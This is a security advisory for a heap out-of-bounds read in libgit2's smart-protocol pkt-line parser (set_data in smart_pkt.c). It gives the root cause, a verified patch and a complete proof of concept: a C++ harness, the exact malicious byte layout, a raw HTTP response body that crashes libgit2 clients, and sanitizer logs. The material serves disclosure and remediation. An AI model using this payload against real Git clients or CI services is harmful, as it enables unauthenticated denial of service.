Skip to content

GHSA-pm24-4jhq-3xvm on CTRL-OS 26.05

Aliases: GHSA-pm24-4jhq-3xvm, CVE-2026-53587

Packages: libgit2

Status: Plausible

Advisory Information

Summary

libgit2 version 1.9.4 and below is vulnerable to a heap out-of-bounds read in set_data() in src/libgit2/transports/smart_pkt.c.

The vulnerable code uses a fixed-size strncmp (smart_pkt.c:239) against the unvalidated capability buffer of a smart-protocol pkt-line. When the bytes following the pkt-line in the contiguous receive buffer happen to continue with "ct-format=", the comparison spuriously matches, advancing format_str past the pkt-line boundary. The following memchr(format_str, ' ', len - (format_str - line)) (smart_pkt.c:246) then underflows its size_t size argument to ~SIZE_MAX and walks the heap looking for a space byte. An unauthenticated remote attacker who controls (or man-in-the-middles) a Git server reached over HTTP/HTTPS/SSH/git:// can trigger this on the FIRST ref-pkt of the refs advertisement, before any capability negotiation has taken place. The OOB walk causes a process crash (SIGSEGV) when memchr enters an unmapped page, and — on heap layouts where memchr finds a stray space byte before crashing — can additionally drive the git_error_set("...'%.*s'", format_len, format_str) formatter to copy a large window of heap memory into the error string.

Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5

Lower-bound CVSS (when delivery requires a user-initiated git clone rather than server-side auto-fetch): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H = 6.5. Bug present in every tagged release from v1.6.1 (Feb 2023) through v1.9.4 (May 2026); HEAD as of 2026-05-23 (commit f7164261c9bc0a7e0ebf767c584e5192810a8b24) is still affected. Not patched upstream. The OSS-Fuzz-driven commit 4c2fdc7ed (v1.9.3) tightened the second / strstr branch of the same function but left this first / strncmp branch unbounded.

Details

Affected component: - Ecosystem: Other - Package name: libgit2 - Package type/details: C library implementation of Git - Affected versions: <= 1.9.4 - Patched versions: Not patched

Source evidence: - File: src/libgit2/transports/smart_pkt.c - Function/class: static int set_data(git_pkt_parse_data *data, const char *line, size_t len) - Bug (line 239): strncmp(caps, "object-format=", 14) reads 14 bytes from caps without verifying len - (caps - line) >= 14. The bytes it reads are inside the surrounding receive-buffer allocation, so this comparison itself is not an ASan-visible OOB read — but it crosses the semantic pkt-line boundary. When the bytes following the pkt-line continue with "ct-format=", the comparison spuriously matches, advancing format_str = caps + 14 past the current pkt-line (format_str - line > len). The matching second / git__memmem branch on the next line already enforces this bound (it was tightened by the OSS-Fuzz commit 4c2fdc7e), but the first branch was missed. - Sink (line 246): memchr(format_str, ' ', len - (format_str - line))len - (format_str - line) underflows as size_t to ~SIZE_MAX, and memchr walks the heap until it hits an unmapped page (SEGV reported by AddressSanitizer) or — on heap layouts where memchr finds a stray ' ' (0x20) byte before reaching unmapped memory — produces a huge format_len that then drives git_error_set("...'%.*s'", format_len, format_str) to copy a large window of heap memory into the error string.

Relevant code (libgit2 v1.9.4 / commit f7164261c):

/* src/libgit2/transports/smart_pkt.c, set_data() */
static int set_data(git_pkt_parse_data *data,
                    const char *line,
                    size_t len)
{
    const char *caps, *format_str = NULL, *eos;
    size_t format_len;
    git_oid_t remote_oid_type;
    ...

    if ((caps = memchr(line, '\0', len)) != NULL &&
        len > (size_t)((caps - line) + 1)) {
        caps++;

        /* <-- BUG: reads 14 bytes from caps regardless of len. */
        if (strncmp(caps, "object-format=",                                 /* line 239 */
                    CONST_STRLEN("object-format=")) == 0)
            format_str = caps + CONST_STRLEN("object-format=");             /* line 240 */
        /* Sibling branch is correctly length-checked (was the OSS-Fuzz fix). */
        else if ((format_str = git__memmem(caps, len - (caps - line),
                                           " object-format=",
                                           CONST_STRLEN(" object-format="))) != NULL)
            format_str += CONST_STRLEN(" object-format=");
    }

    if (format_str) {                                                       /* line 245 */
        /* When format_str - line > len, the size_t subtraction underflows
         * to ~SIZE_MAX and memchr walks the heap until SEGV. */
        if ((eos = memchr(format_str, ' ',                                  /* line 246 */
                          len - (format_str - line))) == NULL)
            eos = memchr(format_str, '\0', len - (format_str - line));      /* line 247 */
        ...
    }
}

Call chain reaching the bug (no authentication required):

git_clone() / git_remote_ls() / git_remote_fetch()
    -> git_smart__connect() (transports/smart.c)
        -> git_smart__store_refs()    (transports/smart_protocol.c:29)
            -> git_pkt_parse_line()   (transports/smart_pkt.c:575)
                -> ref_pkt()          (transports/smart_pkt.c:291)
                    -> set_data(data, line, len)  (transports/smart_pkt.c:223)
                        -> strncmp(caps, "object-format=", 14)   (line 239: spurious match
                                                                  past pkt-line boundary)
                        -> memchr(format_str, ' ', SIZE_MAX-9)   (line 246: OOB heap walk -> SEGV)

ref_pkt calls set_data only when data->seen_capabilities == 0, i.e. on the FIRST ref-pkt of the advertisement. That is unavoidable on every clone — there is no client-side option to skip this code path.

Root cause:

Smart-protocol ref-pkt-lines may optionally carry a \0-separated capability blob. libgit2 receives the entire stream into transport_smart::buffer (a git_staticstr), then asks git_pkt_parse_line() to consume one pkt-line at a time. git_pkt_parse_line() parses the leading hex length, advances line += 4, decrements len -= 4, and dispatches by first-byte to ref_pkt(), which calls set_data(data, line, len) with line and len describing only the current pkt-line's payload — not the full receive buffer.

set_data() correctly walks line[0..len) with memchr(line, '\0', len) to locate the capability separator and bumps caps past the NUL. But it then performs strncmp(caps, "object-format=", 14) without verifying that 14 bytes still remain inside the pkt-line. When the NUL sits near the tail of the pkt-line and the next bytes in the contiguous receive buffer continue with the second half of "object-format=", the strncmp matches against bytes that don't belong to this pkt-line. format_str = caps + 14 then lands past the pkt-line boundary (format_str - line > len), making the next line's len - (format_str - line) subtraction underflow as size_t to ~SIZE_MAX; memchr is asked to scan effectively all of memory and walks until it hits an unmapped page (SEGV) or — luckily — finds a stray ' ' (0x20) in heap memory (in which case the resulting format_len drives an attacker-controlled-length git_error_set("...'%.*s'", format_len, format_str) over heap bytes the attacker did not write).

Verification status:

Runtime-tested. The PoC was compiled and executed inside the Ubuntu 22.04 + clang-15 Docker container documented under PoC > Admin setup. AddressSanitizer reports SEGV on unknown address 0x60b000010000 ... READ memory access from memchr (the libgit2 frame stack-trace under the in-tree smart_pkt_fuzzer harness shows set_data smart_pkt.c:246 -> ref_pkt smart_pkt.c:291 -> git_pkt_parse_line smart_pkt.c:659). The OOB scan position is linear in the attacker-controlled prefix_len (number of A bytes before the NUL in the pkt-line):

PoC prefix_len filler_len pkt payload total buf ASan crash region
PoC1 63 16 68 98 0x60b000010000 (class 96–128)
PoC2 63 32 68 114 0x60c000010000 (class 128–160)
PoC3 127 16 132 162 0x60f000010000 (class 192–256)

A well-formed ref pkt-line (negative control) exits status 0 with zero sanitizer diagnostics and returns 0 from git_pkt_parse_line. The proposed fix has been applied to src/libgit2/transports/smart_pkt.c:239 and rebuilt; PoC1/PoC2/PoC3 all return -1 cleanly with zero ASan output; the negative control still returns 0; the in-tree transports::smart::packet test suite (13 tests) passes unchanged.

PoC

Environment: - Dependencies: clang-15, cmake 3.22, ninja, Ubuntu 22.04 inside Docker - Attacker role: Unauthenticated remote (network attacker who hosts or MITMs a Git server reachable over HTTP, HTTPS, SSH, or git://) - Victim role, if required: any process that uses libgit2 to clone/fetch from the attacker-controlled remote (e.g. git_clone(), git_remote_ls(), git_remote_fetch() via libgit2 directly or via bindings such as pygit2 / git2go / rugged); server-side mirror-sync and CI auto-fetch deployments require no per-attack user interaction.

Admin setup: 1. Pull and start the research container, install build deps, clone libgit2 at tag v1.9.4 (commit f7164261c):

docker run -d --name libgit2-research ubuntu:22.04 sleep infinity
docker exec libgit2-research bash -c 'export DEBIAN_FRONTEND=noninteractive; apt-get update && apt-get install -y --no-install-recommends clang-15 llvm-15 cmake ninja-build git ca-certificates build-essential pkg-config patch zlib1g-dev; mkdir -p /workspace && cd /workspace; git clone https://github.com/libgit2/libgit2 target; cd target && git checkout v1.9.4'
  1. Build libgit2.a with the sanitizer-instrumented flags:
docker exec libgit2-research bash -c 'cd /workspace/target && cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang-15 -DCMAKE_CXX_COMPILER=clang++-15 -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=address,undefined -g -O1" -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -fno-sanitize-recover=address,undefined -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" -DBUILD_SHARED_LIBS=OFF -DBUILD_TESTS=OFF -DUSE_HTTPS=OFF -DUSE_SSH=OFF && ninja -C build -j$(nproc)'

Attacker steps: 1. Open a shell with no privileges (unauthenticated context). No login or capabilities required. 2. Save poc.cpp:

// poc.cpp
//
// libgit2 v1.9.4 - heap out-of-bounds READ in
//     set_data() at src/libgit2/transports/smart_pkt.c:246
//
// Root cause: strncmp(caps, "object-format=", 14) at smart_pkt.c:239
// reads 14 bytes from `caps` regardless of how many bytes remain inside
// the current pkt-line payload (`len`). When the attacker places the
// NUL near the tail of the pkt-line and the next bytes in the same
// receive buffer continue with the rest of "object-format=", the
// strncmp matches and `format_str = caps + 14` lands PAST the current
// pkt-line. The next-line memchr's size argument `len - (format_str - line)`
// then underflows to ~SIZE_MAX, and memchr walks the heap until SEGV.

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>

#include "git2.h"

extern "C" {
    /* Match the internal struct layout in src/libgit2/transports/smart.h. */
    typedef struct {
        git_oid_t oid_type;
        unsigned int seen_capabilities : 1;
    } git_pkt_parse_data;

    typedef enum { GIT_PKT_DUMMY } git_pkt_type;
    typedef struct git_pkt { git_pkt_type type; } git_pkt;

    int git_pkt_parse_line(git_pkt **head,
                           const char **endptr,
                           const char *line,
                           size_t linelen,
                           git_pkt_parse_data *data);
    void git_pkt_free(git_pkt *pkt);
}

/* Build the malicious receive-buffer bytes:
 *
 *   "00<HH>"             4-byte hex length of the pkt-line including this prefix
 *   prefix_len  'A'      a long enough valid-looking ref-name prefix so
 *                        that ref_pkt() handles us
 *   1           '\0'     caps lands exactly here after memchr+caps++
 *   4           "obje"   the visible part of "object-format=" inside the pkt-line
 *   10          "ct-format="    completes "object-format=" when strncmp
 *                                walks past the current pkt-line boundary
 *   filler      any bytes; the OOB memchr starts scanning right after.
 */
static unsigned char *build_payload(size_t prefix_len, size_t filler_len, size_t *out_size)
{
    size_t payload_len = prefix_len + 1 + 4;
    size_t pkt_total   = 4 + payload_len;
    size_t total       = pkt_total + 10 + filler_len;
    unsigned char *buf = (unsigned char *)malloc(total);
    if (!buf) abort();
    size_t off = 0;
    char hdr[5];
    snprintf(hdr, sizeof(hdr), "%04x", (unsigned)pkt_total);
    memcpy(buf + off, hdr, 4);                       off += 4;
    memset(buf + off, 'A', prefix_len);              off += prefix_len;
    buf[off++] = 0;
    memcpy(buf + off, "obje", 4);                    off += 4;
    memcpy(buf + off, "ct-format=", 10);             off += 10;
    memset(buf + off, 'F', filler_len);              off += filler_len;
    *out_size = total;
    return buf;
}

static int run_one(size_t prefix_len, size_t filler_len, const char *label)
{
    size_t size = 0;
    unsigned char *buf = build_payload(prefix_len, filler_len, &size);
    git_pkt_parse_data pd;
    memset(&pd, 0, sizeof(pd));
    pd.oid_type = GIT_OID_SHA1;
    git_pkt *pkt = nullptr;
    const char *endptr = nullptr;

    fprintf(stderr, "[%s] prefix=%zu filler=%zu  total_buf=%zu  pkt_payload=%zu\n",
            label, prefix_len, filler_len, size, prefix_len + 5);
    fprintf(stderr, "[%s] expect format_str = line + %zu  -> memchr OOB scan\n",
            label, prefix_len + 1 + 4 + 10);

    int rc = git_pkt_parse_line(&pkt, &endptr,
                                (const char *)buf, size, &pd);
    fprintf(stderr, "[%s] git_pkt_parse_line returned %d (unreached if ASan caught it)\n",
            label, rc);
    if (pkt) git_pkt_free(pkt);
    free(buf);
    return 0;
}

static int negative_control()
{
    /* A well-formed ref pkt-line that does NOT contain "object-format=". */
    static const char raw[] =
        "0048"
        "1234567890123456789012345678901234567890 refs/heads/main\0"
        "report-status\n";
    size_t size = sizeof(raw) - 1;
    unsigned char *buf = (unsigned char *)malloc(size);
    memcpy(buf, raw, size);
    git_pkt_parse_data pd;
    memset(&pd, 0, sizeof(pd));
    pd.oid_type = GIT_OID_SHA1;
    git_pkt *pkt = nullptr;
    const char *endptr = nullptr;
    fprintf(stderr, "[NEG ] well-formed ref pkt-line, total=%zu\n", size);
    int rc = git_pkt_parse_line(&pkt, &endptr, (const char *)buf, size, &pd);
    fprintf(stderr, "[NEG ] returned %d (expect 0 = success), no ASan output\n", rc);
    if (pkt) git_pkt_free(pkt);
    free(buf);
    return 0;
}

int main(int argc, char **argv)
{
    git_libgit2_init();
    const char *mode = (argc > 1) ? argv[1] : "poc1";
    if      (!strcmp(mode, "poc1")) run_one(63,  16,  "PoC1");
    else if (!strcmp(mode, "poc2")) run_one(63,  32,  "PoC2");
    else if (!strcmp(mode, "poc3")) run_one(127, 16,  "PoC3");
    else if (!strcmp(mode, "neg"))  negative_control();
    else fprintf(stderr, "usage: %s {poc1|poc2|poc3|neg}\n", argv[0]);
    git_libgit2_shutdown();
    return 0;
}
  1. Build and run:
docker cp poc.cpp libgit2-research:/workspace/poc.cpp
docker exec libgit2-research bash -c 'cd /workspace && clang++-15 -O1 -g \
    -fsanitize=address,undefined -fno-omit-frame-pointer \
    -fno-sanitize-recover=address,undefined -std=c++17 \
    poc.cpp -I /workspace/target/include \
    /workspace/target/build/libgit2.a \
    -lpthread -ldl -lz -o /workspace/poc'
docker exec libgit2-research bash -c 'ASAN_OPTIONS="detect_leaks=0:abort_on_error=0:halt_on_error=1:symbolize=1:print_stacktrace=1" ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-15/bin/llvm-symbolizer /workspace/poc poc1'
  1. Use this payload/input:
   buffer offset   bytes                                  meaning
   ------------------------------------------------------------------
        0..3       "0048"                                 pkt-line length = 0x48 = 72
        4..66      "AAAA...AAAA" (63 'A')                 ref-name prefix
        67         0x00                                   capability separator
        68..71     "obje"                                 first 4 bytes of "object-format="
        72..81     "ct-format="                           bytes the strncmp walks PAST the
                                                          pkt-line and matches anyway
        82..97     "FFFF...FFFF" (16 'F')                 filler; OOB memchr scan starts at 98
  1. Submit/save/open the page: invoke the harness against the unpatched libgit2.a as shown above. In a real-world attack, an attacker hosts an HTTP server that responds to GET /info/refs?service=git-upload-pack with this byte sequence as the response body; the victim's git clone http://attacker/x.git (or any libgit2-based equivalent) reaches the same code path.

  2. Observe this visible result:

[PoC1] prefix=63 filler=16  total_buf=98  pkt_payload=68
[PoC1] expect format_str = line + 78  -> memchr OOB scan
AddressSanitizer:DEADLYSIGNAL
=================================================================
==14169==ERROR: AddressSanitizer: SEGV on unknown address 0x60b000010000 (pc 0x7f78f2c87a0a bp 0x7ffcf9ad8710 sp 0x7ffcf9ad7ed8 T0)
==14169==The signal is caused by a READ memory access.

When the same input is fed to the in-tree smart_pkt_fuzzer (built with -fsanitize=fuzzer-no-link,address,undefined applied globally so libgit2 itself is instrumented), AddressSanitizer prints the full stack:

==13634==ERROR: AddressSanitizer: SEGV on unknown address 0x608000020000 (pc 0x7fada8854a0a bp 0x7ffd806cd3f0 sp 0x7ffd806ccbb8 T0)
==13634==The signal is caused by a READ memory access.
    #0 0x7fada8854a0a  string/../sysdeps/x86_64/multiarch/../memchr.S:190
    #1 0x565076e4f11e in memchr (smart_pkt_fuzzer+0x39e11e)
    #2 0x565077273d65 in set_data       /workspace/target/src/libgit2/transports/smart_pkt.c:246:14
    #3 0x565077273d65 in ref_pkt        /workspace/target/src/libgit2/transports/smart_pkt.c:291:34
    #4 0x565077270dd3 in git_pkt_parse_line /workspace/target/src/libgit2/transports/smart_pkt.c:659:11
    #5 0x56507739c55b in LLVMFuzzerTestOneInput
    ...
SUMMARY: AddressSanitizer: SEGV string/../sysdeps/x86_64/multiarch/../memchr.S:190
==13634==ABORTING

Raw HTTP request, if useful for maintainer verification:

HTTP/1.1 200 OK
Content-Type: application/x-git-upload-pack-advertisement

0048AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0objectct-format=FFFFFFFFFFFFFFFF

(Body bytes shown with \0 for the literal NUL; the first 4 chars are the pkt-line hex length 0048 = 72.)

Expected vulnerable output/result:

$ ./poc poc1   ->  SEGV in memchr called from smart_pkt.c:246, allocation class 0x60b
$ ./poc poc2   ->  SEGV in memchr called from smart_pkt.c:246, allocation class 0x60c
$ ./poc poc3   ->  SEGV in memchr called from smart_pkt.c:246, allocation class 0x60f
Crash region shifts linearly with the attacker-controlled prefix_len field
(the run of 'A' bytes before the embedded NUL); proves the attacker fully
controls the OOB scan starting position.

Negative control: - Well-formed 75-byte ref pkt-line (./poc neg) -> git_pkt_parse_line returns 0, exit 0, zero sanitizer output. - Same malicious 98-byte payload against the patched library (apply the diff from the Recommended fix section below and rebuild) -> git_pkt_parse_line returns -1 cleanly (no match -> format_str stays NULL -> the dangerous memchr is never entered), exit 0, zero sanitizer output. - In-tree transports::smart::packet suite (13 tests) -> all pass unchanged against the patched library.

Impact

Any application that calls git_clone(), git_remote_ls(), or git_remote_fetch() (directly or via the smart-transport stack invoked by git_remote_connect()) against an attacker-controlled HTTP/HTTPS/SSH/git:// server is exposed without authentication. The attack succeeds during the first ref-pkt of the refs advertisement, before any capability negotiation or auth challenge. Real-world consumers in scope: GitHub Desktop, Microsoft Azure DevOps, Atlassian SourceTree, Gitea / Forgejo (mirror-sync and import-from-URL), Codeberg, GitLab Importer, Bitbucket Server, GitKraken, every CI runner that uses libgit2 via pygit2 / git2go / rugged for repository checkout, and language bindings (Rust git2, Ruby rugged, Go git2go, Python pygit2, Node.js nodegit).

For server-side mirror-sync and CI auto-fetch deployments the attack has no per-attempt user interaction, giving the worst-case CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High); for desktop-app deployments the score conservatively drops to UI:R = 6.5 (Medium). Both scores assume A:H (process crash) only; an A:H attack from the network with no authentication is already enough to break service availability of mirror-sync workers, CI runners, and Git hosting indexers.

Confidentiality impact: None (default scoring) - the OOB read result is not directly returned to the network attacker through the standard libgit2 API. Note: when the OOB memchr finds a stray ' ' (0x20) byte in the heap before reaching an unmapped page, the resulting format_len is used in git_error_set("...'%.*s'", format_len, format_str); the attacker-supplied error message is then exposed wherever the calling application surfaces git_error_last() (CI build log, web UI error pane). In such deployments confidentiality climbs to Low. Integrity impact: None - the bug is a read, not a write; no attacker-controlled bytes are written to libgit2 state. Availability impact: High - guaranteed process crash on every libgit2-mediated fetch from the malicious server; on long-running services (mirror-sync workers, CI runners) the crash propagates to whatever supervisor restarts the worker, enabling a sustained denial-of-service against the host.

Recommended fix: - Bound the strncmp length check by the remaining pkt-line bytes before dereferencing; switch to memcmp to avoid the NUL-stop semantics that aren't useful here. - Apply the fix in src/libgit2/transports/smart_pkt.c, function set_data(), immediately at the existing line 239. - Verified unified diff:

diff --git a/src/libgit2/transports/smart_pkt.c b/src/libgit2/transports/smart_pkt.c
--- a/src/libgit2/transports/smart_pkt.c
+++ b/src/libgit2/transports/smart_pkt.c
@@ -236,7 +236,8 @@ static int set_data(
      len > (size_t)((caps - line) + 1)) {
      caps++;

-     if (strncmp(caps, "object-format=", CONST_STRLEN("object-format=")) == 0)
+     if (len - (caps - line) >= CONST_STRLEN("object-format=") &&
+         memcmp(caps, "object-format=", CONST_STRLEN("object-format=")) == 0)
          format_str = caps + CONST_STRLEN("object-format=");
      else if ((format_str = git__memmem(caps, len - (caps - line), " object-format=", CONST_STRLEN(" object-format="))) != NULL)
          format_str += CONST_STRLEN(" object-format=");

Updates

2026-08-21 15:51 CEST

Metadata changes:

  • Status for package libgit2: “Plausible

2026-08-21 15:43 CEST

Metadata changes:

  • Status for package libgit2: “New